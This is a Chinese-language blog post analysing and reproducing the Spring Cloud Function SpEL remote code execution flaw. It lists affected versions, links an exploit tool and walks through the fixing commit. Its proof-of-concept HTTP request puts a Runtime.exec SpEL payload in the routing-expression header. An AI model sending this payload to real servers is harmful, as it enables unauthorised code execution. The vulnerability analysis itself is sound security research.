/    

Spring-Cloud-SpEL-RCE分析复现

SpringCloud Function作为SpringCloud家族成员最早在2017年提出,旨在为快速发展的Serverless市场提供一个Spring的接入路径,使用SpringCloud Function进行无服务(我这里直接称为函数式编程)的项目开发可以大大节约成本.

影响版本:3 <= Version <= 3.2.2(commit dc5128b之前)

只有Spring Cloud Function部分版本特定配置的动态路由才会受影响(spring.cloud.function.definition=functionRouter),但SpEL表达式存在charset、replace等多种变形

利用工具

  1. https://github.com/N1ce759/Spring-Cloud-Function-SPEL-RCE

POC

POST /functionRouter HTTP/1.1
Host: XXXXX
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: /
Connection: close
spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("calc")
Accept-Language: en
Content-Type: application/x-www-form-urlencoded
Content-Length: 4test

补丁分析

在main分支commit dc5128b中,新增了SimpleEvaluationContext,isViaHeader变量作为flag,在解析前判断spring.cloud.function.routing-expression的值是不是取自HTTP头,如果是的话就用SimpleEvaluationContext解析SpEL语句,不是来自外部输入时(比如System.setProperty)才用StandardEvaluationContext解析image.png

  1. 查看官方提交的commit

image.png

首先我们的得知该漏洞是RoutingFunction功能导致的

  1. 在commit中官方也给出了相应的测试用例

image.png根据测试用例,可以得知漏洞触发点位于http header中spring.cloud.function.routing-expression字段

提取出测试类后在apply方法下断并跟入,省略一些中间流程,最终可以看到从HTTP头spring.cloud.function.routing-expression中取出SpEL表达式并由StandardEvaluationContext解析image.png


标题:Chisaka
作者:Chisaka
地址:https://www.xiaohongyan.cn/articles/2022/04/15/1650011253635.html
声明:博客上的所内容均可免费使用,可注明归属,注明作者或网址这种行为值得赞赏。